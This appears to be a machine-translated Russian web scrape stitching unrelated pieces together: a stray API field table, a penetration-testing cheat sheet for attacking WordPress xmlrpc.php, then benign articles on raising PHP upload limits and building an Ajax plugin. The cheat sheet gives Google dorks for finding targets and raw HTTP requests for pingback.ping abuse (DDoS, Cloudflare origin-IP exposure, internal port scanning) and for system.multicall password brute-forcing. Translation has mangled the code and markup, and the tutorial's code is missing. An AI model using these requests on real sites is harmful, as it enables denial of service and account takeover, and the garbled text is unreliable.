строка | Информация о видимости записи на временной шкале |
строка | Строка, указывающая тип объекта этого сообщения. |
datetime | Время последнего обновления сообщения, которое происходит, когда пользователь комментирует сообщение. |
Пользователь | Страница | ID пользователя или страницы, к которой поделились постом с |
unsigned int32 | Массив информации о прикреплении к сообщению |
Использование xmlrpc.php во всех версиях WordPress
XML-RPC на WordPress — это фактически API, который позволяет разработчикам, создающим сторонние приложения и службы, взаимодействовать с вашим сайтом WordPress.XML-RPC API, который WordPress предоставляет несколько ключевых функций, включая:
- Опубликовать пост
- Редактировать сообщение
- Удалить сообщение.
- Загрузить новый файл (например, изображение для сообщения)
- Получить список комментариев
- Редактировать комментарии
Например, система Windows Live Writer способна публиковать блоги непосредственно в WordPress благодаря XML-RPC.
К сожалению, при обычной установке (без изменения настроек и / или конфигураций) WordPress интерфейс XML-RPC открывает два типа атак:
- Пингбеки XML-RPC
- Атаки методом перебора через XML-RPC
Согласно документации WordPress (https: // codex.wordpress.org/XML-RPC_Support), функция XML-RPC включена по умолчанию, начиная с WordPress 3.5.
Обратите внимание, что в этом руководстве / шпаргалке домен «example.com» фактически является примером и может быть заменен вашей конкретной целью.
Дорки для поиска потенциальных целей
Хочу добавить, что любое противозаконное действие является вашим собственным , и я не могу нести ответственность за ваши действия против уязвимой цели. Тестируйте только там, где вам это разрешено.Отправляйтесь на публичные, известные награды за ошибки и заслужите ваше уважение в сообществе.
При этом во время тестов на выявление ошибок или тестирования на проникновение мне пришлось идентифицировать все уязвимые цели WordPress на всех поддоменах, следуя правилу * .example.com
. В этом конкретном случае я полагался на придурков Google, чтобы быстро обнаружить все потенциальные цели:
-
inurl: "/ xmlrpc.php? Rsd"
+ ограничения области действия -
intitle: "WordPress" inurl: "readme.html "
+ ограничения области действия = общее обнаружение WordPress -
allinurl: "wp-content / plugins /"
+ ограничения области действия = общее обнаружение WordPress
Поиск серверов XML-RPC на WordPress:
Шаги для проверки:
- Убедитесь, что вы настроили таргетинг на сайт WordPress.
- Убедитесь, что у вас есть доступ к файлу
xmlrpc.php
. Обычно он находится по адресу https://example.com/xmlrpc.php и отвечает на запрос GET следующим образом:Сервер XML-RPC принимает только запросы POST.
- Будет бессмысленно нацеливаться на сервер XML-RPC, который отключен / жестко закодирован / подделан / не работает. Поэтому мы проверим его работоспособность, отправив следующий запрос:
Отправить запрос:
POST /xmlrpc.php HTTP / 1.1
Хост: example.com
Длина содержимого: 135
xml version = "1.0" encoding = "utf-8"?>
system.listMethods
Нормальный ответ должен быть:
HTTP / 1.1 200 ОК
Дата: пн, 01 июл 2019 17:13:30 GMT
Сервер: Apache
Строгая транспортная безопасность: max-age = 63072000; includeSubdomains; предварительная нагрузка
Подключение: закрыть
Vary: Accept-Encoding
Политика реферера: без реферера при понижении рейтинга
Длина содержимого: 4272
Тип содержимого: текст / xml; charset = UTF-8
xml version = "1.0" encoding = "UTF-8"?>
<параметры>
<параметр>
<значение>
<массив> <данные>
system.multicall
<значение> <строка> система.listMethods
system.getCapabilities
demo.addTwoNumbers
demo.sayHello
pingback.extensions.getPingbacks
pingback.ping
mt.publishPost
<значение> <строка> mt.getTrackbackPings
mt.supportedTextFilters
mt.supportedMethods
mt.setPostCategories
mt.getPostCategories
mt.getRecentPostTitles
mt.getCategoryList
<значение> <строка> metaWeblog.getUsersBlogs
metaWeblog.deletePost
metaWeblog.newMediaObject
metaWeblog.getCategories
metaWeblog.getRecentPosts
metaWeblog.getPost
metaWeblog.editPost
<значение> <строка> metaWeblog.newPost
blogger.deletePost
blogger.editPost
blogger.newPost
blogger.getRecentPosts
blogger.getPost
blogger.getUserInfo
блоггер.getUsersBlogs
wp.restoreRevision
wp.getRevisions
wp.getPostTypes
wp.getPostType
wp.getPostFormats
wp.getMediaLibrary
<значение> <строка> wp.getMediaItem
wp.getCommentStatusList
wp.newComment
wp.editComment
wp.deleteComment
wp.getComments
wp.getComment
<значение> <строка> wp.setOptions
wp.getOptions
wp.getPageTemplates
wp.getPageStatusList
wp.getPostStatusList
wp.getCommentCount
wp.deleteFile
<значение> <строка> wp.uploadFile
wp.suggestCategories
wp.deleteCategory
wp.newCategory
wp.getTags
wp.getCategories
wp.getAuthors
<значение> <строка> wp.getPageList
wp.editPage
wp.deletePage
wp.newPage
wp.getPages
wp.getPage
wp.editProfile
wp.getProfile
<значение> <строка> wp.getUsers
wp.getUser
wp.getTaxonomies
wp.getTaxonomy
wp.getTerms
wp.getTerm
wp.deleteTerm
wp.editTerm
<значение> <строка> wp.newTerm
wp.getPosts
wp.getPost
wp.deletePost
wp.editPost
wp.newPost
wp.getUsersBlogs
Обратите внимание, что в отсутствие приведенного выше примера ответа довольно бессмысленно продолжать фактическое тестирование двух уязвимостей.Ответ может отличаться в зависимости от настроек и конфигураций установки WordPress.
- Если есть вывод для
system.listMethods
Запрос:
POST /xmlrpc.php HTTP / 1.1
Хост: example.com
Длина содержимого: 130
xml version = "1.0" encoding = "utf-8"?>
демо.sayHello
Ответ:
HTTP / 1.1 200 ОК
Дата: пн, 01 июл 2019 17:19:05 GMT
Сервер: Apache
Строгая транспортная безопасность: max-age = 63072000; includeSubdomains; предварительная нагрузка
Подключение: закрыть
Vary: Accept-Encoding
Политика реферера: без реферера при понижении рейтинга
Длина содержимого: 181
Тип содержимого: текст / xml; charset = UTF-8
xml version = "1.0" encoding = "UTF-8"?>
<параметры>
<параметр>
<значение>
Здравствуйте!
XML-RPC pingback-атаки
В этом случае злоумышленник может использовать стандартный XML-RPC API для выполнения обратных вызовов для следующих целей:
- Распределенные атаки типа «отказ в обслуживании» (DDoS) — злоумышленник выполняет пингбэк .ping метод из нескольких затронутых установок WordPress против одной незащищенной цели (уровень ботнета).
- Cloudflare Protection Bypass — злоумышленник выполняет метод pingback.ping из единственной затронутой установки WordPress, которая защищена CloudFlare, на контролируемый злоумышленником общедоступный хост (например, VPS), чтобы раскрыть общедоступный IP-адрес цель, таким образом обходя любую защиту уровня DNS.
- XSPA (Атака межсайтового порта) — Злоумышленник может выполнить пингбэк .ping метод из одной затронутой установки WordPress на тот же хост (или другой внутренний / частный хост) на разных портах. Открытый порт или внутренний хост можно определить, наблюдая за разницей во времени ответа и / или глядя на ответ на запрос.
Ниже представлен простой пример запроса с использованием URL-адреса, предоставленного PostBin, в качестве обратного вызова:
POST /xmlrpc.php HTTP / 1.1
Хост: example.com
Длина содержимого: 303
xml version = "1.0 "encoding =" UTF-8 "?>
pingback.ping
<параметры>
<параметр>
https://postb.in/1562017983221-43771991
<параметр>
https://example.com/
Пример ответа:
HTTP / 1.1 200 ОК
Дата: пн, 1 июл 2019 21:53:56 GMT
Сервер: Apache
Строгая транспортная безопасность: max-age = 63072000; includeSubdomains; предварительная нагрузка
Подключение: закрыть
Vary: Accept-Encoding
Политика реферера: без реферера при понижении рейтинга
Длина содержимого: 370
Тип содержимого: текст / xml; charset = UTF-8
xml version = "1.0 "encoding =" UTF-8 "?>
<неисправность>
<значение>
<структура>
<член>
faultCode
0
<член>
faultString
Вывод PostBin:
Грубая сила атаки
Иногда единственный способ обойти ограничение или блокировку запросов при атаке методом грубой силы на сайт WordPress — это использовать слишком забытый XML-RPC API .
Следующий запрос представляет собой наиболее частую атаку методом грубой силы:
POST /xmlrpc.php HTTP / 1.1
Хост: example.com
Длина содержимого: 235
xml version = "1.0" encoding = "UTF-8"?>
wp.getUsersBlogs
<параметры>
\ {\ {ваше имя пользователя \} \}
\ {\ {ваш пароль \} \}
Вышеупомянутый запрос может быть отправлен в Burp Intruder (например) с разными наборами учетных данных.Обратите внимание, что даже если вы угадываете пароль или нет, , код ответа всегда будет 200 . Я настоятельно рекомендую искать ошибки / сообщения в теле ответа.
Обеспокоены отправкой большого количества запросов против цели? — Не беспокойтесь. WordPress XML-RPC по умолчанию позволяет злоумышленнику выполнить один запрос и перебрать сотни паролей.
Для следующего запроса требуются разрешения как для system.multicall , так и для wp.getUsersBlogs методов:
POST /xmlrpc.php HTTP / 1.1
Хост: example.com
Длина содержимого: 1560
xml version = "1.0"?>
system.multicall
methodName wp.getUsersBlogs params < значение> \ {\ {Ваше имя пользователя \} \} \ {\ {Ваш пароль \} \} value >
methodName wp.getUsersBlogs params \ { \ {Ваше имя пользователя \} \} \ {\ {Ваш пароль \} \} значение>
methodName wp.getUsersBlogs params \ { \ {Ваше имя пользователя \} \} \ {\ {Ваш пароль \} \} значение>
methodName wp.getUsersBlogs params \ { \ {Ваше имя пользователя \} \} \ {\ {Ваш пароль \} \} значение>
Ответ будет иметь вид:
HTTP / 1.1 200 ОК
Дата: пн, 01 июл 2019 23:02:55 GMT
Сервер: Apache
Строгая транспортная безопасность: max-age = 63072000; includeSubdomains; предварительная нагрузка
Подключение: закрыть
Vary: Accept-Encoding
Политика реферера: без реферера при понижении рейтинга
Длина содержимого: 1043
Тип содержимого: текст / xml; charset = UTF-8
xml version = "1.0" encoding = "UTF-8"?>
<параметры>
<параметр>
<значение>
<массив> <данные>
<значение> <структура>
faultCode 403
faultString Неверное имя пользователя или пароль.
<значение> <структура>
faultCode 403
faultString Неверное имя пользователя или пароль.
<значение> <структура>
faultCode 403
faultString Неверное имя пользователя или пароль.
<значение> <структура>
faultCode 403
faultString Неверное имя пользователя или пароль.
В приведенном выше примере я протестировал 4 разных набора учетных данных с помощью одного запроса.Вам просто нужно заменить {{Ваше имя пользователя}} и {{Ваш пароль}} своими собственными комбинациями.
Вот и все, прокомментируйте, если что-то упустил и удачной охоты!
Другие ссылки:
Как увеличить размер загружаемого файла в PHP
Вы разработчик PHP или системный администратор, управляющий серверами, на которых размещены приложения PHP? Вы ищете способ увеличить или установить размер загружаемого файла в PHP? Если да, то следуйте этой статье, в которой показано, как увеличить размер загружаемого файла в PHP, а также объясняются некоторые основные директивы PHP для обработки загрузки файлов, а также данные POST .
По умолчанию размер загружаемого файла PHP установлен на максимум 2 МБ файла на сервере, но вы можете увеличить или уменьшить максимальный размер загружаемого файла с помощью файла конфигурации PHP ( php.ini
), этот файл можно найти в разных местах в разных дистрибутивах Linux.
# vim /etc/php.ini [ на Cent / RHEL / Fedora ] # vim /etc/php/7.0/apache2/php.ini [ в Debian / Ubuntu ]
Чтобы увеличить размер загружаемого файла в PHP, вам необходимо изменить переменные upload_max_filesize
и post_max_size
в вашем php.ini файл.
upload_max_filesize = 10 млн post_max_size = 10 млн
Кроме того, вы также можете установить максимальное количество файлов, разрешенных для одновременной загрузки в одном запросе, используя max_file_uploads
. Обратите внимание, что начиная с PHP 5.3.4 и более поздних версий любые поля загрузки, оставленные пустыми при отправке, не учитываются в этом лимите.
max_file_uploads = 25
Переменная post_max_size
, которая используется для установки максимального размера данных POST , которые принимает PHP.Установка значения 0 отключает ограничение. Если чтение данных POST отключено через enable_post_data_reading , то оно игнорируется.
После внесения вышеуказанных изменений сохраните измененный файл php.ini и перезапустите веб-сервер, используя следующие команды в соответствующих дистрибутивах Linux.
--------------- SystemD --------------- # systemctl перезапуск nginx # systemctl перезапуск httpd # systemctl перезапуск apache2 --------------- Сис Винит --------------- # перезапуск службы nginx # перезапуск службы httpd # перезапуск службы apache2
Вот и все! В этой короткой статье мы объяснили, как увеличить размер загружаемого файла в PHP.Если вы знаете какой-либо другой способ или у вас есть какие-либо вопросы, поделитесь с нами, используя наш раздел комментариев ниже.
Если вы цените то, что мы делаем здесь, на TecMint, вам следует принять во внимание:
TecMint — это самый быстрорастущий и пользующийся наибольшим доверием сайт сообщества, где можно найти любые статьи, руководства и книги по Linux в Интернете. Миллионы людей посещают TecMint! для поиска или просмотра тысяч опубликованных статей доступны БЕСПЛАТНО для всех.
Если вам нравится то, что вы читаете, пожалуйста, купите нам кофе (или 2) в знак признательности.
Мы благодарны за вашу бесконечную поддержку.
Использование AJAX с PHP на вашем сайте WordPress без подключаемого модуля
Хороший дизайн незаметен! Это как кондиционер, включенный в автоматический контроль температуры. Пока вам не станет слишком жарко или холодно, вы не обращаете на это внимания, вместо этого сосредотачиваясь на текущей задаче или просто наслаждаясь временем.
Для пользователей веб-серфинга Ajax похож на автоматический кондиционер. Это делает веб-сайты более плавными и быстрыми в использовании, что доставляет удовольствие.А главное, просто работает!
Если вы предпочитаете видео, вам повезло!
Что такое Ajax?
Ajax — это метод веб-разработки, обозначающий A синхронный J avaScript A nd X ML . Он используется для создания динамических интерактивных и увлекательных веб-приложений. С Ajax вам не нужно ждать перезагрузки веб-страницы, чтобы увидеть изменения. Обо всем позаботятся автоматически в фоновом режиме, не мешая тому, что вы делаете, тем самым улучшая взаимодействие с пользователем.
Аякс в действии!Вы, наверное, уже встречали Ajax в Интернете. Функция автозаполнения в Google Поиске, пожалуй, самая популярная. Карты Google — другое. Обновление твитов, комментариев на Facebook, сообщений Reddit, лайков на YouTube в реальном времени — все эти невероятные возможности для пользователей стали возможны благодаря Ajax и связанным с ним технологиям.
В этом посте я кратко ознакомлю вас с Ajax, перечислю его преимущества, объясню, как он работает в WordPress, а затем мы с головой погрузимся в создание простого плагина WordPress Ajax.
Звучит весело? Давайте начнем.
Основы Ajax
Ajax использует комбинацию языков программирования, таких как HTML / CSS, JavaScript, XML / JSON, и язык сценариев на стороне сервера (PHP, ASP.NET и т. Д.). Он работает, отправляя данные из браузера на сервер, который обрабатывает их и отправляет ответ. Этот ответ используется браузером для обновления веб-страницы без ее перезагрузки.
Вот как обычно бывает:
- Действие пользователя запускает событие в браузере (например, нажатие кнопки).
- Активируется вызов Ajax, который отправляет запрос на сервер с использованием XML / JSON.
- Серверный сценарий обрабатывает этот запрос. Он также может получить доступ к базе данных, если это необходимо.
- Затем сервер отправляет ответ браузеру.
- Вторая функция JavaScript, называемая функцией обратного вызова, получает ответ и обновляет веб-страницу.
Множество преимуществ Ajax
- Сводит к минимуму использование полосы пропускания и оптимизирует сетевые операции, поскольку серверам не требуется обрабатывать большие объемы данных.
- Экономит время как для пользователей, так и для сервера, поскольку пользователь может сразу увидеть ответ от сервера.
- Повышенная производительность. Поскольку полностраничные данные не отправляются, Ajax улучшает производительность, скорость и удобство использования веб-страниц / приложений.
- Повышенная отзывчивость. Если исключить перезагрузку страницы, веб-сайты станут более быстрыми и отзывчивыми, а значит, более удобными для пользователя.
Навыки, необходимые для работы с Ajax в WordPress
- Знание HTML, CSS и JavaScript (достаточно jQuery)
- Базовое знакомство с форматами обмена данными XML или JSON
- Ноу-хау PHP для серверных сценариев
Если вы разбираетесь в jQuery или PHP на ощупь, не волнуйтесь! Вы все еще можете следовать логике учебника.Не стесняйтесь заходить в раздел комментариев, если вы застряли или вам что-то понадобится 🙂
Введение в Ajax в WordPress
Ядро WordPress уже использует Ajax, но только на экранах администратора. Например, когда вы модерируете комментарии или добавляете / удаляете элементы из категорий или сообщений, вы можете видеть мгновенные обновления благодаря Ajax. Это также технология, лежащая в основе столь любимой функции автосохранения.
Ajax чаще всего используется с функциями jQuery в WordPress, поскольку он намного проще по сравнению с VanillaJS.Более того, ядро WordPress уже загружено с библиотекой jQuery.
Вот как выглядит процесс использования Ajax в WordPress:
- Пользователь запускает запрос Ajax, который сначала передается в файл admin-ajax.php в папке wp-admin .
- Запрос Ajax должен предоставить по крайней мере один фрагмент данных (с использованием метода GET или POST). Этот запрос называется действием .
- Код в admin-ajax.php использует действие для создания двух хуков: wp_ajax_youraction и wp_ajax_nopriv_youraction . Здесь youraction — это значение переменной действия GET или POST.
- Первая ловушка wp_ajax_youraction выполняется только для зарегистрированных пользователей, а вторая ловушка wp_ajax_nopriv_youraction обслуживает исключительно вышедших из системы пользователей. Если вы хотите настроить таргетинг на всех пользователей, вам нужно запустить их обоих по отдельности.
- Спланируйте функции перехвата для постепенной деградации. Это гарантирует, что ваш код будет работать даже в браузерах с отключенным JavaScript.
Давайте создадим плагин WordPress Ajax
Каждое большое путешествие начинается с одного шага, как и наше обучение. Давайте создадим базовый плагин WordPress под названием Post Likes Counter со следующими функциями:
- Зарегистрированные пользователи могут лайкать сообщения.
- Плагин подсчитывает общее количество лайков постов и отображает их.
- Счетчик лайков поста обновляется мгновенно на интерфейсе.
- Вышедшим из системы пользователям будет показано сообщение об ошибке, если они попытаются лайкнуть сообщение.
Для начала создайте пустой плагин WP и активируйте его. Если вам нужна помощь с этим, вы можете обратиться к нашему руководству по разработке плагинов WordPress. WordPress Codex также имеет подробную страницу по написанию плагина WP.
Шаблон сообщения для своей темы
После этого вам нужно найти сингл вашей темы.php шаблон сообщения. Он используется, когда запрашивается отдельная запись, и именно здесь мы хотим, чтобы наш счетчик лайков был. Этот файл находится в корневой папке вашей активной темы. Оставьте его открытым для редактирования.
Подготовьте шаблон сообщения для вызова Ajax
Давайте создадим здесь ссылку, чтобы пользователи могли ставить лайки. Если у пользователя включен JavaScript, он будет использовать файл JavaScript, который мы создадим позже; в противном случае он просто перейдет по ссылке напрямую. Поместите приведенный ниже код в свой сингл .php файл.
В качестве альтернативы, вы можете добавить этот код в любую из частей шаблона , которые включает ваш файл single.php . Например, если вы используете официальную тему Twenty Nineteen , вы можете вставить этот код в файл content-single.php вашей темы. Для тестирования этого кода плагина я вставил его в этот файл в самом конце раздела div.entry-content .
Обращение к вызову Ajax без JavaScript
Щелкнув ссылку, созданную выше, вы перейдете к admin-ajax.php , но вы не увидите никаких полезных результатов, так как еще не создали никакой функции для выполнения вашего действия.
Для этого создайте функцию в файле плагина и добавьте ее к двум хукам, которые были созданы WordPress для вас. Следуйте приведенному ниже коду:
Если все проходит успешно, когда вошедший в систему пользователь щелкает ссылку Like this Post , счетчик лайков выше должен автоматически увеличиваться на 1. В браузерах с отключенным JavaScript страница обновится, но на ней по-прежнему будет отображаться обновленное количество лайков.
Функция обработки вышедших из системы пользователей почти ничего не делает, кроме вывода сообщения об ошибке. Это всего лишь пример. Вы, конечно, можете воспользоваться этим и предоставить своим посетителям более полезные варианты.
Наконец, добавлена поддержка JavaScript
Рекомендуется добавлять поддержку JavaScript ближе к концу, так как это значительно упрощает работу. Чтобы использовать Ajax в WordPress, вам необходимо поставить в очередь библиотеку jQuery, а также собственный файл JavaScript вашего плагина.Для этого перейдите в свой плагин и добавьте следующий скрипт:
Как только это будет сделано, пора создать файл JavaScript liker_script.js . Затем вы должны загрузить этот файл в место, указанное в предыдущем коде (подсказка: это корневая папка вашего плагина). Вот код для liker_script.js :
Функция my_user_like () , определенная в нашем плагине, должна отправлять нашему браузеру ответ в виде массива результатов в кодировке JSON, который также можно использовать как объект JavaScript.Используя это, мы можем обновить сообщение, например, count, не перезагружая веб-страницу.
И все! Ура!
Теперь вы включили функциональность Ajax для своего плагина. Конечно, вы можете расширить это и добавить больше функций по своему вкусу. Давай, настраивай его, пока не добьешься успеха!
Наш простой пост вроде счетчика. Вы можете добавить стили, анимацию и другие сценарии, чтобы повысить его уровень.Известные плагины WordPress, использующие Ajax
Вам нужно вдохновение от Ajax, чтобы вдохновить вас? Ознакомьтесь с этими замечательными плагинами WordPress, которые используют мощь Ajax для создания мощных функций и более удобного взаимодействия с пользователем.
- Плагины отложенной загрузки
Ленивая загрузка — это метод веб-разработки, используемый для сокращения времени начальной загрузки страницы. Это достигается за счет задержки загрузки ресурсоемких ресурсов, которые не видны пользователю в области просмотра браузера. Эти ресурсы загружаются автоматически, когда пользователь прокручивает веб-страницу вниз. Бесплатная версия Smush поддерживает отложенную загрузку. - Forminator
Полностью расширяемый плагин для создания форм, который также поддерживает опросы, викторины, формы заказов с вариантами оплаты и т. Д.У него есть возможность включить отправку форм с помощью Ajax, что делает его удобным для пользователей. - Вход с помощью Ajax
С помощью этого многофункционального плагина обеспечьте на своем сайте WordPress плавный вход с помощью Ajax и эффекты регистрации. Если вы хотите предоставить своим пользователям более удобные возможности входа и регистрации, чем стандартная версия WordPress, не смотрите дальше. - WP-PostRatings
Этот простой плагин добавляет систему рейтинга Ajax для сообщений и страниц вашего сайта WordPress.Он также добавляет поддержку шорткодов для рейтингов, так что вы можете отображать их где угодно. - YITH WooCommerce Ajax Product Filter
Чрезвычайно полезный и мощный плагин для WooCommerce, который позволяет применять точные фильтры, необходимые для отображения вариантов продуктов, которые вы ищете. Ajax гарантирует, что все это произойдет в мгновение ока. - Ajax Search Lite
Адаптивный подключаемый модуль для поиска в реальном времени для WordPress, работающий на Ajax. Он также включает автозаполнение Google и предложения ключевых слов.Предоставьте своим пользователям лучший опыт поиска на вашем веб-сайте с помощью этого плагина. - Простой чат Ajax
Вы когда-нибудь задумывались, можно ли общаться с другими пользователями на веб-сайте в прямом эфире? Этот плагин на базе Ajax — ответ на этот вопрос. Он совместим с мобильными устройствами и может настраиваться по своему вкусу.
Зайдите в репозиторий плагинов WordPress.org, чтобы найти более блестящие реализации Ajax.
Сохраняйте спокойствие и Ajax!
То, что хорошо для
, хорошо и для пользователя, и для сервера, но вам нужно сбалансировать это.Ajax — это мощный инструмент в вашем арсенале для повышения производительности веб-сайта и удобства пользователей. Но вы должны использовать его только там, где это необходимо. Всегда сосредотачивайтесь на аспекте взаимодействия с пользователем. Поначалу это будет немного грубо, но как только вы овладеете основами Ajax, вас уже не остановить!Бесплатное видео Почему 100 НЕ является идеальным показателем скорости загрузки страницы в Google (* 5 минут просмотра) Узнайте, как использовать Google PageSpeed Insights, чтобы ставить реалистичные цели, повышать скорость сайта и почему стремиться к 100 баллам — НЕПРАВИЛЬНАЯ цель.
Теги:Как увеличить лимит загрузки PHP?
(mt) Media Temple прилагает совместные усилия для обеспечения точности этого содержания. Однако, если вы обнаружите какие-либо проблемы, отправьте запрос в службу поддержки через (mt) AccountCenter.
Публикация данной информации не означает поддержку данной статьи. Эта статья предоставлена исключительно из уважения к нашим клиентам.
Ограничения на загрузку PHP
Текущие ограничения загрузки PHP по умолчанию на вашем хостинге WordPress в настоящее время установлены следующим образом.
- upload_max_filesize = 64M
- post_max_size = 64M
Повышение лимитов PHP
Обычно эти настройки находятся в файле php.ini. В службе хостинга WordPress эти ограничения можно настроить в файле .user.ini . Если вы впервые пытаетесь изменить эти ограничения, вам необходимо создать файл с именем « .user.ini » в корневом веб-каталоге или в каталоге « … / html ». После создания файла вы можете добавить следующие строки, чтобы установить ограничения php.Эти переменные могут быть увеличены в соответствии с вашими потребностями. Однако рекомендуется, чтобы значения не превышали 256M.
upload_max_filesize = 128 МБ
post_max_size = 256 МБ
После того, как вы внесете эти изменения и сохраните файл, это все, что вам нужно сделать. Веб-сервер Apache не нужно перезапускать в службе хостинга WordPress.
Дополнительная информация
Если upload_max_filesize больше, чем post_max_size , вы должны увеличить post_max_size так, чтобы он был больше upload_max_size .
Ресурсы
(mt) Media Temple прилагает совместные усилия для обеспечения точности этого содержания. Однако, если вы обнаружите какие-либо проблемы, отправьте запрос в службу поддержки через (mt) AccountCenter.
Публикация данной информации не означает поддержку данной статьи. Эта статья предоставлена исключительно из уважения к нашим клиентам. Пожалуйста, ознакомьтесь с нашим Заявлением о поддержке для получения дополнительной информации.
Симптом
Я не могу загружать файлы большего размера с помощью сценариев PHP.
Вы можете загружать небольшие файлы через PHP, но большие файлы не загружаются. Или вы получаете сообщение об ошибке, например «Допустимый размер памяти 103809024 байтов исчерпан (попытка выделить 0 байтов)».
Решение
PHP имеет несколько параметров конфигурации для ограничения ресурсов, потребляемых сценариями. По умолчанию PHP разрешает загрузку файлов размером 2 МБ или меньше.
Попробуйте увеличить следующие значения в файле php.ini, например:
memory_limit = 99 МБ
max_execution_time = 300
upload_max_filesize = 20 млн
post_max_size = 24 млн
В сетке, как только вы внесете эти изменения и сохраните файл, это все, что вам нужно сделать.Веб-сервер Apache не нужно перезапускать (и, чтобы было ясно, у вас нет такого уровня доступа к платформе Grid).
Если вы не знаете, как изменить свой php.ini, нажмите здесь, чтобы получить подробные инструкции.
Дополнительная информация
Если upload_max_filesize больше, чем post_max_size , вы должны увеличить post_max_size так, чтобы он был больше upload_max_size .
Если значение post_max_size больше, чем memory_limit , необходимо увеличить memory_limit так, чтобы оно было больше post_max_size .
Ресурсы
ПРОЧИТАЙТЕ Вначале
Эта статья была скопирована из базы знаний Parallels в качестве любезности для наших клиентов DV-серверов. Поскольку они являются авторитетным источником информации, рассматриваемой в этом разделе, мы рекомендуем вам проверить их исходную статью, поскольку ее содержание может быть изменено.
(mt) Media Temple прилагает совместные усилия для обеспечения точности этого содержания. Однако, если вы обнаружите какие-либо проблемы, отправьте запрос в службу поддержки через (mt) AccountCenter.
Публикация данной информации не означает поддержку данной статьи. Эта статья предоставлена исключительно из уважения к нашим клиентам. Пожалуйста, ознакомьтесь с нашим Заявлением о поддержке для получения дополнительной информации.
Симптом
Я не могу отправлять вложения через веб-почту или загружать большие файлы с помощью сценариев PHP.
Вы можете загружать небольшие файлы в веб-почту или с помощью сценария PHP, но файлы большего размера не могут быть загружены или вы получаете ошибку «Страница не может быть отображена» при нажатии кнопки «Отправить сообщение».Если включен отчет об ошибках, вы получите сообщение об ошибке «Допустимый размер памяти 8388608 байт исчерпан (попытка выделить 0 байт)» или «Запросить слишком большой объект».
Решение
PHP имеет несколько параметров конфигурации для ограничения ресурсов, потребляемых сценариями. По умолчанию PHP разрешает загрузку файлов размером 2 МБ или меньше.
Попробуйте увеличить следующие значения в php.ini, например:
memory_limit = 32 МБ
upload_max_filesize = 24 млн
post_max_size = 32 млн
Есть несколько способов редактировать php.ini на вашем DV сервере. В этой статье базы знаний описано, как это сделать:
После внесения этих изменений вам может потребоваться перезапустить Apache. Вы можете сделать это через Plesk или через SSH с помощью следующей команды:
/etc/init.d/httpd перезапуск
Дополнительная информация
Если upload_max_filesize больше, чем post_max_size , вы должны увеличить post_max_size так, чтобы он был больше upload_max_size .
Если значение post_max_size больше, чем memory_limit , необходимо увеличить memory_limit так, чтобы оно было больше post_max_size .